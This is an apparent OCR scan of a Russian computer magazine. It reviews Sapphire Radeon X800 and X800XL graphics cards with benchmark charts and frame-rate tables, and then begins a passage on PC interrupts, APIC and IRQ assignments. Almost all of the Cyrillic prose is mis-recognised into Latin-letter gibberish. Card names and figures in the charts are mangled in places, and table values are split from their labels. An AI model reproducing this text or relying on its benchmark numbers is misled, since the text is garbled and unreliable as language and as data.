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Xenesuili nonuzon

BUOEOKAPTOX Mbl YXe pacckasweisann Hemano. Ograko,
yunteieas 10, uto cranaapt PCl-Express ewe we ycnen npoy-

HO 3akpenuTbca B maccoebix MK, ana BonswuHcTBa NONb-
30BaTENEN HOMBONEE AKTYOMbHLIM M NCMONb3YEMbIM CTOH-
LAOPTOM MOAKMIQYEHNS BUAEOKAPT No-npexHemy asnsetcs AGP-
unTepdenc, xak Hanbonee 4acTo BCTPEYaOWMACA Ha nnatax ©.

B 310% cTOTbE A XO4y PACCKA3aTE 06 UCTHITAHUAX TOMOBbIX
supeokapT, Taxux kak Radeon X800 w Radeon X850XT, npous-
BeeHHbIX KOMNaHnen Sapphire.

Paccmatpusoemsbie B 0630pe BMAEOKAPTLI BLIONHEHb! C WH-
tepoencom AGP, a notomy, ecnn Bel pewnte npuobpectu oa-
HY U3 HQ3BOHHbLIX BUAALLEK, BAM HE NOUAETCS MEHATH OCTANbHYIO
HaunHky csoero [1K.

MTOK, HE TPATA BALLUE Bpema HA HYTEHNE ANKUTENbHbLIX BCTyNne-
HWUWA M OTCTYNNEHMI, NPUCTYNUM K HENOCPEACTBEHHOMY PACCMOT-
pPEeHUIO NNAT.

[ubpug
MNepBbIM «MOAOMBLITHLIM KPOMUKOMS Y HOC BbICTYNQET BUAEO-
xapta Sapphire Hybrid X800, ocHawernos wnnom Radeon X800
(R430), kotopuin paboraet Ha yactote 390 Ml (06 3tom 1 apy-
FUX BbICOKONPOU3BOANTENbHBIX rpG¢M‘-{eCKMX npoueccopax Kom-

naHum ATl Bel moxete y3HaTe m3 cTateu Bnagumupa Cuportw
«Kenesnwi nackaHe», MK, Ne 21(348) 2005 r.).

NOHEHTLI NAATHl, A, CNEAOBATENLHO, BO3PACTAIOT u 0BOPOTH Ky-
nepa. XoTenock Bbl OTMETUTL TAKXE TO, YTO HA ThINLHOW CTOPO-
HE NaMATE OXNAXAAETCH ANIOMUHUEBLIM PAAMATOPOM, KOTOPLIN,
x coxanernuo, Bonslue mewaeT, Hexenu nomoraeT. [leno s Tom,
YTO MUYHO Yy MEHA PAAMATOP BCTAN BRPWTLIK K CNOTAM NAMSTH,
n 63 yCTPAHEHUSA MOMEXM B BUAE 3TOTO COMOTO PAAUATOPA BU-
AEOKAPTA HW B KOKYK) HE XOTENa yCTaHOBMMBATHCH B cnoT. Ho
Bbl He 06A3aTENLHO CTONMKHETECH C 3TOH NPOBIEMON, MHOTOE 30-
BUCUT OT KOMMNOHOBKM CUCTEMHOW MNQATH.

BuneokapTa OCHOWEHA CTAHAAPTHBIM HAOGOPOM BBIXOLOB:
DVI, d-Sub, S-Video. MNocTasnsercs kapTtouka B KPACUBOM Kap-
ToHHOM Bokce. KomnnekT noctasku mofend CTaHLApPTHBIA py-
KOBOACTBO MONL30BATENA, AMCK C apansepamu v [10, nse wr-
pywku — Prince of Persia u Splinter Sell PT (va DVD aucke), a
Takxe auck ¢ ytunuton PowerDVDS5. Takxe umeercs kabens ans
NOAKMIOUEHMS YCTPOACTE k TV-out, nepexoarmkn DVi-io-d-Sub n
nHa HDTV.

Pasmepuux XKL

Bupeokaprta Sapphire X800XL — «popcpoBaHHbIi» BapK-
anT kapTouku Ha 6ase X800 (o uem ceuaeTensCTByeT HanMuue
Toro xe uana R430). Mogens cobpana Ha PCB kpacHoro use-
Ta, v HeceT Ha BopTy 256 M6 BuoeonaMATH, KOTOPAA Pa3ME-
WeHa B BOCbMU Mukpocxemax namatu ctanaapta GDDR 3. Ma-

MSTb MPOM3BOACTBA SAMSUNG CO BpEMEHEM JOC-
tyna 2.0 Hc. T.e. TeopeTMyeck TAKTOBAS 4AC-
ToTa Namath gonxkHa Gere 500 (DDR 1000) Ml
Oanako namats paboraet 1o yactote 470 (DDR
980) Mlu, WKpHHa WwuHb namatn — 256 6ut
Coma nomaTb PAsMEIEHT HO AUUEBOH 1 Thillb-
HOW CTOPOHAX, NO YETHIPE MUKPOCXEMBI C KOX-
non. CucTema OXNaXaeHns, PABHO KAK WM KOM-
NOHOBKQ NAQTLI, HAEHTMYHA TOW, KOTOPAA UCNOTb-
ayetca 8 mogenn X800. Ha teinsHoi cTopone
NAGTLL MMEETCH TAKOM Xe ONIOMUHUEBLIN POAKO-
TOP, KOTOPbIA MOXET NOMELLATE YCTAHOBKE NNQ-
Tbl B CAOT (ECTECTBEHHO, €ro0 MOXHO YAANWTb, HO
BOT NOKQ3ATENM HOTPEBA NAMATH HEM3BEXHO No-
nonayT Baepx). Hy 1, KoHeYHO xe, NnaTk ncnone-
3YIOT OAMHOKOBYIO CUCTEMY OXNAXAEHMS Y1Na, g,
CNENOBATENLHO, LWYMOBLIE «CneudddexTbi» Te xe,

MoHTaXHaA NNATa YCTPOMCTBO BHINONHEHA M3 TEKCTONMTA Ch-
Hero useta u «HeceT» Ha cebe 256 M6 GDDR3 suaoeonamath,
KOTOPAs PO3MELLEHA B BOCbMM MUKPOCXEMAX (MO YETHIPE MUKPO-
CXEMBI C THITLHOM 11 NruEeBoi cToporsl). [amate paboTaer Ha uac-
Totre 350 (DDR 700) Mlu, uto noxe meHswe, yem y X700Pro,
OQHHLIE KOTOPOW TAKXE NPUBOASTCA B PE3YNbTATAX TECTUPOBA-
HMA, — XOTH YCTOHOBMEHHAS NOMATL OT SaMSUNG CO BPEMEHEM
aocryna 2.0 He nossonser namatn paboTate Ha kyaa Honee Bbi-
COKMX 4OCTOTAX. Hago Takke oTMETUTL Cneayloulee: HECMOTPS HA
10, 4To X800 asnsertcs AOBONBHO «yPE3AHHBIMY NPEACTABUTENEeM
cemeinctea X8xx (umeetca 6 BeplnHHbIX M 12 MUKCENbHBIX KOH-
BEHEPOB), LUIMPUHA LUKHBI OBMEHO C NAMATLIO 3AECH BCE Xe OC-
TasneHa 256-6utHas. M 310 otvacTi nomoraet crnaaute sddpekt
OT [OBOALHO HU3KMX YACTOT YMNQ WM NOMATH HQ ANaTe.

Ha nuuesomn cTopoHe rpadu4eckui 4un OXNAXAAeTcs Paaua-
TOPOM C MEAHOR NOANOXKOW. [1pu 3TOM, AONKEH 3AMETUTL, Ky-
nep npu sknodernn MK overs cunbro wymnt. Boobuwe anana-
301 paboTbl BEHTUAATOPA — OT TPEX 4O Cemu Thicay 060pOoTOoB
8 MuHyTy. U BoICOKME OBOPOTHI, OONKEH 5 BAM CKA3ATL, OYEHD
CUNBHO «AdBST» HA yww. [IpaBna, CKOPOCTL BPOLLEHWS BEHTH-
NATORA HE BCE BPEMSA HAXOAMUTCH HO YPOBHE «PA3APAXEHNS Cry-
XQa», NOCTENEHHO OHA NAAQET A0 MuHMmMyma. OAHAKO BO BPEMS
pabotsl 8 3D-NpUNoOXeHNsX PA3OrPEBAIOTCA 3NEKTPOHHBIE KOM-

uto u y X800. Cneayert Takke OTMETUTL U TO, YTO
Ha ofopoTHoi ctopoHe nnatul umeetcs moct RIALTO (PCIE-to-
AGP), xotopomy He nomewan Gui HEBONBWON PAAUATOP CBEPXY.

Taktosas yacTota rpaduyeckoro NPoOLECCOpa Yy BUAEOKAP-
o1 pasHa 400 MIu. OgHako a rosopun o ¢opcrposarHocTi XL
8 cpasHenun ¢ obwunon X800. D10 sbpaXQeTcs He TONLKO 8
6Gonee BLICOKMX TAKTOBbIX YOCTOTAX MOAENM, HO M B TOM, 4TO
AQHHBIA 41N uMeeT & BEPLUMHHBIX KOHBEMEPOB M 16 NUKCENbHbIX
KOHBEREPOB NO CPABHEHUIO € 6 1 12 KOHBEHEPAMU COOTBETCT-
seHHo y X800.

Mnata ocHawera DVI, d-Sub u S-Video TB-swixopom.

Y70 KOCOBTCA KOMMANEKTALUMM NNATH, KO MHE HO TECTMPOBA-
nme oHa nonana 8 OEM-noctaske, TO eCTb Kynevek u Hu4ero
nuwrero @, Ho Ha camom nene (kak yaanocs y3HATb) KOMANEKT
NOCTABKM NNATH B BAPUAHTE ANA PO3HWYHOM NPOAAXM AOBOMb-
Ho Gorar. MTak, B KOMANEKT BXOAMT: PYKOBOACTBO NONb3OBATE-
NS, QUCK C NPOTPaMMHbLIM OHecnederHnem n apansepamu, dup-
MeHHas yTuauTa nacTposikv Renline, Tpu pucka (nBa UrpoBbIx 1
oaumH ¢ nporpammort PowerDVD5). Momumo scakoro codra, ume-
etcs nepexopruk DVI-to-d-Sub, kabenb ans nopkmoueHus yct-
poitcte k TV-out, HDTV-nepexoanuk ans TB-swixona, Hy u, ko-
HEYHO Xe, pupmenHas Hakneiika ©. Bee 310 ynosonscTeme no-
CTABNAETCH B KPACOYHO OGOPMAEHHON kOPODBKEe, HA KOTOPOW
yka3saHbl TTX-nnatsl.
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0 xomne

He youenaitecs, 4TO B KOYECTBE «MPOTUBOBECO» PACCMOT-
PEHHbIM MOAENAM A HE YKA3AN HA OAHY M3 ANAT KOHKYPUPYIO-
wen komnamuy (yragaite, o kom a &). Bece ouens npocto: g cTo-
BU UEMbIO NPOBECTM MCMLITOHUA UMEHHO 3TUX NAAT U HWYero
Bonewe. He tak gasro a nposoaun Tectuposarue 10 supeo-
xapT cemencrea GeForce, or FX5900 po 6800Ultra, u Tenepsb
ANs CPaBHewwus ByneT ncnonb3oBAHA TabnMua nokaaatene, no-
NYYEHHBLIX PAHEe.

Kondurypaumus tecToBoi nnatdopmsl, NPEAOCTABIEHHON KOM-
naHuen «Komnaccer, Takosa:

v npoueccop Pentium 4 (Prescott) 2.8 ly;

v nnara Foxconn i865A01-PE-6LS;

¥ namate Hynix 2x256 M6 DDR 400 (neyxkawanbhuii pe-
XUM);

v’ xecTkuid guck Samsung SPO411N 40 16, 7200 o6/mun;

v MO n OC: Windows XP + SP2 + DirectX 2.0c, apaiiseps!
ans Radeon X8xx — Catalyst 5.1, ana GeForce — Force
Ware 67.66, scnomoratensHas ytunuta Bench’em All v2.64.

Tecmupyem

Hauxem, noxanyn, ¢ tecta 3D Mark 05, kax ¢ camoro «1a-
XENOro» CMHTETUYECKOrO TeCTd B8 HOWEM GPCeHane (RUarpam-
ma 1). Mel Buanm, uto kaprouka Sapphire X800 naet 8 Hory ¢
suneokaptamu Ha Base GeForce 6800, a sor X800XL HesHa-
unTenbHo yctynaet seHbim dasoputam GeForce 6800 Ultra.

Mensem paspelwenne Ha Honee BLICOKOE 1 BUAMM, Y4TO NO-
KQ3aTenu CywecTBEHHO He meHaTca (guarpamma 2). B naow-
Hom cnydoe X800 coxpaxser napuTeT No OTHOWEHWIO K Nna-
tam GF 6800, a X800XL no-npexHemy otctaer ot dasopu-

AWATPAMMA 1

3D Mark 05 1024x768

B Sopphire XBOOXL
8 Sopphire XB0O
& RadeOn 9800Pro
[ ASUS AX80OXT

ASUS AX800Pro
© LeadTek A400 Uttra TOH
8 XFX 6800 Uhva
B M| NX6BOO.TD128
BXFX 6800

W XFX 4800LE

W MSI FX5900XT

W XFX 5900XT 0 1000 2000 3000 4000 5000 6000

AWATPAMMA 2

3D Mark 05 1780x1024
 Sapphire X800XE
 Sapphire X800
5 RodeOn 7800Pro
I ASUS AXB0OXT
I ASUS AX800Pro
 LoadTak A400 Ukro TDH .§ )
8 XFX 4800 Ulna
B MSI NX8ROO-TD128
WXFX 4800

B XFX 6B00LE

& MSI FX3900XT

W XFX 5900XT o 1000 2000 3000 4000 5000 6000

AWATPAMMA 3

30Mark 03 1024x768

& Sapphire XBOOXL
& Sapphire X800
1 RadeOn 7800Pro

ASUS AXBOOXT

ASUS AX8OOPra
8 teadTek A40C Ukra TOH £
 XFX 6800 Ubro
8 M5 NX6800-TD128
8 XFX 6600
B XFX 6BOOLE

B MSI FX5900XT

WXFX 5900XT 0 2000 4000 4000 8000 10000 12000

MO KOMMbIOTEP

T0B, BkMOuas sapnant XBOOXT. Bnpodem, 310 BnonHe oxmaae-
MbIR PE3YNLTAT.

Crnegylownm CMHTETUHECKUM TECTOM NO Tpaauuuu Byaer
3D Mark 03 (pnarpamma 3). A 1yT Mbl BuaUM, yTo 0be Bu-
LEOKAPTE «NOATAHYANCEY MO NOKA3ATENAM, NOYTU BNNOTHYIO
NprBIM3MBLIKCE K CBOMM Bnmxaiiunm KoHkypeHTam hi-end
YPOBHS.

Mpn noseiwenun paspelwenus (auarpamma 4) packnag cun
npakTuiecku coxparsercs. Buneokapra Sapphire X800 nesna-
YWTENBHO BLIPHIBAETCA Brepea, 4yt obronss XFX 6800, a X800XL
MO-MPEXHEMY EPXMUT NOYETHYIO YETBEPTYIO NOIULMIO.

AWATPAMMA 4

3D Muork 03 1280x1024
& Sopphwe XBOOXL
¥ Sapphire XB0O
I¥ RadeOn 9800Pro

I ASUS AXBOOXT

17 ASUS AXBOOPro

I LeadTek A400 Ubro TDH

Score

8 XFX 6800 Ukra
B MSINX6800-TD128
W XFX 8800

WXFX $800LE

B MSIFX5900XT

@ XFX 5900XT 0 2000 4000 4000 8000 10000 12000

Kaxawit pas, koraa 8 npuctynaw « onucanmio tecta 3D
Mark 2001 (pmarpamma 5), mue Tak u xoueTcs ckasams 4TO-TO
spoae: «B 6or uayT opHu ctapukus. Ho, no-moemy, Tak yxe rae-
10 rosopunn ©. B paHHOM TECTE 3HAYWTENBHO BHIPOCIO KONM-
yectBO «nonyraesy y obewx nnat, X800 onats gornana ceowx
xoHkypeHnTos 8 nuue GeForce 6800.

AWATPAMMA S

3D Mark 20015 1024x74Bx32
B Sopphirs XBOOXL
& Sopphire XB0O
¥ RadeOn 9600Pra
1 ASUS AX80OXT

L A5US AXB0OPro

B XFX 4800 Ukra
W MS5I NX6800-TD128
W XFX 6300

W XFX 6800LE

B M FX5900XT

W XFX 5900XT ] 5000 10000 15000 20000 25000

C poctom paspewenuns (guarpamma 6) sce BLIrMAAMT BRON-
HE rPOTHO3MPYEMO, HABMIDAAETCH HEIHAYUTENBHOE OTCTABAHNE
Sapphire X800 ot nnat no 6asze GF 6800. XBOOXL no-npexHe-
MY MOET NOA HOMEePOM 4, OTCTaBAA TONBKO OT 3aBeAOMO Honee
BHICTPEIX NNAT, AG M TO HE3HAYNUTENLHO.

AWATPAMMA 6
3D Mark 2001SE 1280x1024x32
& Sopphire XB00XL
& Sopphire XBOO
¥ RodeOn 9B00Pro c
s el . G
ASUS AXBOOXT 17620
ASUS AX800Pro i 16458

Bleadek 4200 UioTor 2 [N
8 XFX 6800 Ubea
51 NX4B00-TD1 28
BXFX 6800

B XFX 6800LE

@ MSI FX5900XT
B XFX 5900XT 0 5000 10000 15000 20000

Mocnearnit cuutetuueckun tect — Codecreatures (rabnuua
1) Huiem 0COBbIM HE yaMBMA, BECbMA MPOrHO3UPYEMBIN PE3yIb-
TAT ANs NNAT B CBOEW BECOBOW KATETOPUM.

M, Hakonew, uHdOpMaLmMa ans Tex, KTO xoder npuobpectw
rpaduyeckuin yCKOPUTENb MCKNIOUMTENLHO Ans urp — Tabnuua 2.
Bot B urposbix npunoxermnax X800XL cmorna ceba peanuzosats
M NOKA3ana oveHb Hennoxon pesynstar. Hy, a X800 sener ce-




TABJTULA 1

Bugeoxopro

XFX S900XT

MSI FX5900XT
RadeOn 9800Pro
XFX 6800LE

XFX 4800
MSINX6800-TD128
XFX 6800 Ultro
LeadTek A400 Ultra TDH
ASUS AXBOOPro
ASUS AX800XT
Sapphire XB0O
Sopphire X800XL
8uascxapro

XFX 5900XT

MS! FX5900XT
RadeOn $800Pro
XFX 6B00LE

XFX 4800
MSINX6BOD-TD128
XFX 6800 Ultro
LeodTek A400Q Ultra TOH
ASUS AXB0OPro
ASUS AXBOOXT
Sopphire X800
Sapphire XBOOXL

Code Creatures 1024x748
43.4 fps
42.7 fps
410fps
457 tps
56.9 tps
57.5 fps
74 fps
75.2fps
72.23 fps
76.42 fps
49 fps
68.92 fps
Cods Craatures 1280x1024
37.1fps
36.9 fps
36.5 fps
38.0fps
49.9 tps
52.0fps
71.43 fps
73.14ps
68.21 fps
74.12 fps
45.61 fps
47.39 fps

Code Creatures 1024x76B AA4x
38 4 fps
387 fps
37.16 fps
40 tps
46.8 fps
47.5 fps
67.13 fps
691 fps
68.3 fps
70 ps
47.22 fps
65.34 fps
Code Creatures 1280x1024 AAdx
271 fps
26.4 fps
271 fps
30.74 fps
253 fps
259 fps
52 fps
543 fps
49.41 fps
52 63 fps
32.81 fps
468 fps

68 TaK, KGK M AONXHO (B CBOENM BECOBOW KATEropMM), TaKXE Ae-
MOHCTPMPYA BECbMA AOCTONHBIE NOKA3ATENN.

TABJINLA 2
Bugeokapra DOOM 3@ 1024x768
XFX 5900XT 28.2 fps
MSI FX5900XT 30.21 fps
RadeOn $800Pro 17.7 fps
XFX 6BOOLE 75.58 fps
XFX 6800 86.06 fps
MSI NX6800-TD128 88.5 fps
XFX 6800 Ultra 92.7 fps
LeadTek A400 Ultro TDH 93.1 fps
ASUS AX800Pro 60.9 fps
ASUS AXBOOXT 81.65 fps
Sapphire X800 71.12 fps
Sapphire X800XL 79.12 fps A
Buaeoxapra DOOM 3@ 1280x1024
XFX 5900XT 20.4 fps
MSI FX5900XT 22.3 fps
RadeOn 9800Pro 12.3 fps
XFX 6800LE 36.0 fps \
XFX 6800 40.6 fps
MSI NX6800-TD128 46.2fps
XFX 6800 Ultra 80.0 fps
leadTek A400 Ultra TDH 83.54 fps
ASUS AXBOOPro 52.2 fps
ASUS AXBOOXT 47 .45 fps
Sapphire X800 41.0 fps
Sapphire X800XL 64.31 fps
Bugeoxapra
XFX 5900XT
MSI FX5900XT
RadeOn 9800Pro
XFX 6800LE
XFX 6800

MSI NX6800-TD128
XFX 6800 Ultra

LeadTek A400 Ultra TDH
ASUS AX800Pro

ASUS AXBOOXT
Sapphire X800
Sapphire X800XL
Bugeoxapra

XFX 5900XT

MSI FX5900XT

RadeCn 9800Pra

XFX 6800LE

XFX 6800

MS| NX6800-TD128
XFX 6800 Ultra

LeadTek A400 Ultra TDH
ASUS AX800Pro

ASUS AX800XT
Sapphire X800
Sapphire X800XL

ForCry@ 1024x768
38.65 fps
37.56 tps
28.5 fps
45.72 fps
45.67 fps
52.7 fps
753 tps
78.1 fps
48.4 fps
46 fps
51.6 fps
62,15 fps
FarCry@ 1280x1024
27.47 fps
27.03 fps
19.3 fps
38.8 fps
41.96 fps
46.2 fps
71.0 fps
69.83 fps
43.1 fps
54.2 fps
40.12 fps
55.01 fps

FarCry@ 1024x748 AA Bx Aniso 4x

TECT HE NpowWwna
TBCT He NpOWNa
5.14 fps

34.2 fps

38.83 fps
36.13 fps

68 fps

69.3 fps

49.33 fps
61.22 fps

42 fps

51.34 fps

FarCry@ 1280x1024 AA Bx Aniso 4x

TecT He npowna
TecT He npowna
TBCT H8 Npowna
27 tps

30.13 fps
29.45 fps
4B.67 fps

51 fps

47.15 fps
55.41 fps
44.27 fps

49.2 fps

Keneaunill nenuzon

flogeoguM uma2

Hy, BOT 1 noaowno k KOHUY HALWE MANEHbKOe TEeCTUPOBA-
Hue. A BLIBOObLI TOKOBb

1. Bugeokapra Sapphire Hybrid X800, ecin 6w ona Bsina
ocHaweHa Gonee pewesoi namatso, yem GDDR3, a wyactota
namati Geinag Bbl HEMHOTO BLILLE (NOMATL-TO NO3BORAAET), BNON-
He Morna Bl 3aHATE LOCTOMHOE MECTO CPEdM YCKOPHUTENein cpea-
Hero yposws. [pu 31om, 8 ayma, CTOMMOCTL Bbina Bbl HUXE,
Yem y NPAMBIX KOHKYPEHTOB. Bnpouem, AQHHBIA BAPUOHT MOXHO
BLI6PATH, €CNK BBl NNGHUPYETE 3AMEHUTL O4EHbL CTAPYIO KAPTOY-
Ky HQ Y4TO-TO NOCOBPEMEHHEE, O HA TOMOBLIE (€CTECTBEHHO, AO-
porve} mopenu GUHAHCOB NOKA He xBaTAeT

2. Bugeoxapta Sapphire X800XL o6ecneunsaer xopowee co-
OTHOLIEHWE UEHA/NPOUSBOAUTENLHOCT, HTO AENAET €€ BeCbMa
BHIFOAHbIM NpuoBpeTeHuem ans reimepos. EavHcTBEHHOE, YTO
NOPTUT PARYXHYIO KOPTUHY ans obewx nnar, Tk 3TO AOBOJLHO
NNOXAA PEANM3ALMA CUCTEMb OXaxaeHus. [lotomy, e BO Bpe-
MS TP BBl LUEHUTE KOYECTBO 3BYKA, O HE NyQEHWE BEHTUNSTOPA,
TO BAM, BO3MOXHO, MPMAETCH CMEHUTL CTAHBAPTHLIN KyNep.

ABTOpP BHIPOXOET BnaroqapHOCTb:

v Komnanum COMPASS 30 niobe3Ho npenoctasnerHsie: npo-
ueccop Pentium 4 2.8 [Tu, marepurckyio nnarty Foxconn i865A0 1-
PE-6LS, xecrxmii puck Samsung SPO4 11N, namate Hynix DDR 400
2x256 M6.

v Komnarmy «1-UNnkom» 30 mobesHo npenocrasneHHyio
nnary Sapphire X800XL 256 M6.

Half-Life 2@ 1024x768 Unreal {l: Awakening@ 1024x768

31.28 fps 84.83 fps
30.4 fps 82.25 fps
62.3 fps 92.30 fps
73.21 tps 95.42 fps
86.27 fps 86.71 fps
85.48 fps 93.23 fps
89.2 fps 124 fps
91.7 fps 118 fps
93 fps 93.71 fps
101.2 fps 105.4 fps
89 fps 91 fps
94.52 fps 112.1 fps
Half-life 2@ 1280x1024 Unreal il: Awakening@ 1280x1024
19.3 fps 68.27 fps
18.2 fps 68.1 fps
57.1 fps 81.06 fps
61 fps 87.16 fps
74.1 tps 94.25 fps
76.54 fps 93.86 fps
88.7 fps 122 fps
90.2 fps 110 fps
84 fps 91.51 fps
91.74 fps 102 fps
90.13 fps 82.63 fps
93.11 fps 115 fps
Half-Life2@ 1024x7 68 AA4x Aniso 8x

8.85 fps

8.29 fps

33.5fps

23 fps

37 fps

38.4 fps

59.64 fps

41.01 fps

62.22 fps

83.3 fps

58.21 fps

77.53 tps

Half-life2@ 1280x1024 AA4x Aniso 8x

4.61 fps

4.13 fps

19 fps

16 fps

31.26 fps

29.68 fps

50.93 fps

53.31 fps

49.66 fps

65.71 fps

50.98 fps

62.48 fps
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lNpononxenne, Havano cm. 8 MK, No 26-38, 40-43, 46, 50-52 (145-157, 159-162, 165, 169-171), 1 (172}, 4 (175), 6=7
(177=178), 12=13 (183-184), 17-18 (188—189), 23 (194), 27 (198), 30 (201), 33 (204), 35 (20¢), 40 (211), 42 (213), 44 (215,
47 (218), 50 (221), 1-2 (224-225), 5 (228), 7 (230), 9 (232), 11 (234), 14 (237), 15 (238), 20 (243), 21 (244), 26 (249), 27 (250},
28 (251), 37 (260), 38 (261, 42 (267), 46 (269), 47 (270), 50 (273), 2 (277), 3 (278), 7(282), 10{285), 15(290), 21{29¢), 23(298),
27(302), 30 (305), 33 (308), 38 (313), 39 (314), 43(318), 46(321), 1-2 (328-329), 3 (330), 4(331), 5(332), 9(33¢), 11 (338), 17(344),

23(350), 24(351)

6.2. Mpepbisanus (npogonxeue)

B tabnuue e moxete nocmoTpets ceepeHus of annapart-
HbIX NPEPLIBAHKSAX, UCnonb3yemsix B (1K, Teopetudieckas uHdop-
MAUMs MO AQHHOMY BOMPOCY 6bINA M3NOXEHO B NpeasiayLiei
HYaCTU CTATbW.

Teneps xe paccmoTpum HEGOMBLUYIO TEMY, CBA3AHHYIO ¢ GyHK-
LUMOHUPOBUHUEM DOCLUMPEHHOTO NPOTPAMMUPYEMOTO KOHTPOI-
nepo npepuisanuin (Advanced Programmable Interrupt Con-
troller — APIC). Tlosenenne 8 cuCTEMAx TAKOTO KOHTPOANEPO
NPEPLIBAHWA GHINO CBA3AHO C CO3AAHMEM MYNETUNPOLECCOPHLIX
cucTem. [pumenenne ctanaapTHbix cpeacts obpaboTtku anna-
PATHBIX MPEPLIBOHMIA [CXEMBI NOAAYM 3ANPOCOB NPEPLIBAHMUM, Bbi-
AQHA BEKTOPQA NPEPLIBAHMA) M3HAYANEHO BLIIO OPUEHTUPOBAHO
HO NPUCYTCTBME B CUCTEME TOMBKO OAHOrO npoueccopa. Hauu-
HOS C NPOUECCOPOB 6-TO NMOKONEHMWs (Nepshie peanu3aumu Gei-
nM OCyLWEeCTBAEHs! ele B npoueccopax Pentium), 8 npouecco-

pol Pentium Pro, Pentium Il v sbiwe Hauan sctpavsatscs pac-
WIMPEHHbIR NPOrpPAMMUPYEMBIA KOHTPONNED NPEPLIBAHWMA. A HO
CUCTEMHBIX NAATAX, NPEAHA3HAYEHHBIX ANS 3TUX NPOUECCOPOB,
noseuncs kontponnep APIC (I/O APIC), sometHo paciumpue-
LIMKM BO3MOXHOCTU TPAANLUMOHHBIX KOHTPONNEPOB NPEPbLIBOHWNA.
KoHtponneps: APIC asyx npoueccopos no OTAenbHON UHTep-
dencHon wure APIC cBasaHb Apyr C PYTroM M C CUCTEMHBIM KOH-
Tponnepom APIC wa nnate. KoHTponneps npoueccopos npo-
TDOMMUPYEMBI, 4TO ACET BO3MOXHOCTb ONPEAENNTh OTKIMK KOX-
AOTO U3 HUX HA TO WK UHOE CUCTEMHOE MU TROAWLMOHHOE On-
napartHoe npepsiBaHue. Bce Bmecte onm cnocobrel pewats 3a-
A0HM MAPWRYTU3auMK npepsisanmni (Interrupt Routing). Mpw skno-
HYEHUWN CUCTEMBI OBTOMATUYECKHU BKITHOHOETCH M BO3MOXHQOSA O6p0‘
B0OTKO NpepLBaHWIA C Mcnonb3oBaHWem koHTponnepos APIC. B
npouecce nposeaerus POST-tecta takoh pexum moxet Bbitb
NPOTPOMMHO 30NPELLUEH, ECNIM UMEIOTCS COOTBETCTBYIOLWME YCTA-
HoBku 8 onumsx BIOS Setup (cm. Hiuxe). Ho cpasy Hoao otmetuts
cneayowlee. [laneko He BCe yuncerts pa3pa-

BaATHIBANMCE C Y4ETOM BO3MOXHOTO NPUME-

RQ YcrpoacTeo Mpuop-7 KommenTapum
4 . Cuctes nj 1
0 Cuctenmuit ToiMep 15 cTemnoe npepunonse [enepupyetca 91 pas 30 5 cex B namwom xavecTae npumenseTcs co
spemen nepeoro PC
1 Knoeuarypo 14 CuCTemHOE NPEPBIBQHNE, [EHEPHPYEMO® KONTPONNEPOM KIORAOTYPH
e Kackagnponoro (canaono)c IRQF MoryT BO3HUKHYTE KOHGNUKTM, XOTAO OAHOBREMENNO HO
2 s wa‘; 13* IRQ2 » IRQY nonxHp paboraTs PO3NHYHNE YCTPOACTBA. TOKOE MCNONEICROHKE NPEPNBaHUH
BEP! CHCTEMOH COXPOMAETCR ANA COBMBCTHMOCTH.
Vicnone3yercs BTopbim xOmmyHmkaumonKbm agantepom (UART2) Koxoe xe ycrpoicTso Gyger
, ero reHepnposaTe? 310 moxeT HuTe BTOPOR nocnencsoTensHwi nopT COM2 (HTerpuposan Ha
3 COM 2 4 MOTEPUHCKOR Niarte), suyTpexni monem, Hactpoermbin na COM2 wnu COM4, uom
uHbpoxkpacHwia opontep. Moxno otkmosnts UART2, 4o npucaonte RQ3 nuuemy He ynactea
Henwt opHou 1o xe IRQI3 ¢ COM4 (npu vanwsun nocnenrero) Bosmoxen xomgnwkr npw
OHOBDEMENHOM HCNOMBIOBAMKH
Wicnone3yercs nepsem kOMMYyHHKGLUMONHEM agonTepom. Bee npaxtusecku wpenTuuno
4 COM 1 3 TEHEpHPYETCH Nepawm NoCnenosoTensrum noprom COMI, monemom Ho COMI upn COM3
BDenwr ogro u o xe IRQ4 ¢ COM3 (npw Honwumn nocneanero) B cucTemox ¢ NOAKMIONENHOA K
COM! muiwnio wenonsaosare COM3 we cneayer
MpepesoMme HIHANANLHO NPEAHO3HGNONOCK ANR KCNONLIOBANKA ATOPLM NOPONNENsHNM
nopTom LPT2 Mpaxtuieckoro npumenenn Toxoe pawenne ne nowno,nostomy IRQ5 nepewno
® poapan ceobognex B IBM XT na [RQS “sucen” xecTxui auck Yepes mexotopoe spems
5 ceobonen 2 Creotive Labs,coinanan 3ayxosyio kapry Sound Blaster Pro,HQWnG Npumenerne npepuBoHHO,
C 1ex nop IRQS5 crano namobnemtum ans GonewwHcTaa 3aykosmx ISA-kapr. Jeyxaewe PCI-
XOPTH TOKXE WHOTAG HCNOMMIYIOT 3TO NpepwBonue A mynaunu SB Pro. IRQS moxma
npueesote k cnoty PCI
MpepusoHme nCNONE3YETCs KOHTPONNEPOM GNONNH-QACKOBORA Ha4WHAA C napewx MK Huwe ero
MOXHO OTKIIOYATH, ECTTH NEPERTA HO COBMECTHMBIR ¢ OBbMHEMU QuckaTOMK +akanuTens LS-120
Kowvpannep FDD- . 2
6 e nd 1 ¢ nitepdercom IDE. OpHako NpepuisoHHe BCe POBHO HE MOXET GuTt MCNONIOBAHO: ISA-xapTw
Ha POBOTY ¢ Him He pacceuTanu,w k cnoty PCl npueaaare ero wensaa. Moxer Gute
WCNONBIOBOHO QNR NPHBOAA HA MOTHHTHOR NEHTe
Mo ymonuokuo npep nepaoro anopra LPT1 MMpwu orxnosennom nopre
7 LPT 1 0 {ecnn npuHTep oTcyTCTRYyeT UK POCCMTAR MO USBIMOXET HCNONRIOAOTHCR PaINUuHMM
ycTporcTeame cetebimu, ISDN-ropramu 370 Takxe “30M0CHO8™ MECTO 1A IBYKOBLIX KOPT
Yocw peansHora
8 12
spenatpi(aTa) Cuctemnoe NpepuacHie co Bpaman nepswx 1BM AT
9 ceobonen 1N Kackagnposgro ¢ IRQ2 B 0CTONLHOM MOXET HENGNBIOBATECA MO YCMOTPEHMIG
10 esobann 10 Moxer Bute MCNONKIOBAHO NO yemoTpenwio. Yetopeswme IDE-xoHTponneps Ho CTOpwx
IBYKOBLIX XOPTOX MHOTAO MCNONb3YIOT 310 [RQ
MoxeT Buts HCNONEIORANO NO YCMOTPEHHIO, YOCTO MCNONLIYETCH AHAEOKApTaMM, B
n csobonen 9 co MK obwuno pe yetca ana wwre USB Mpw otknouenum nocnearen » BIOS
MoxeT EwTe 301EHCTROBOHO HHOYE
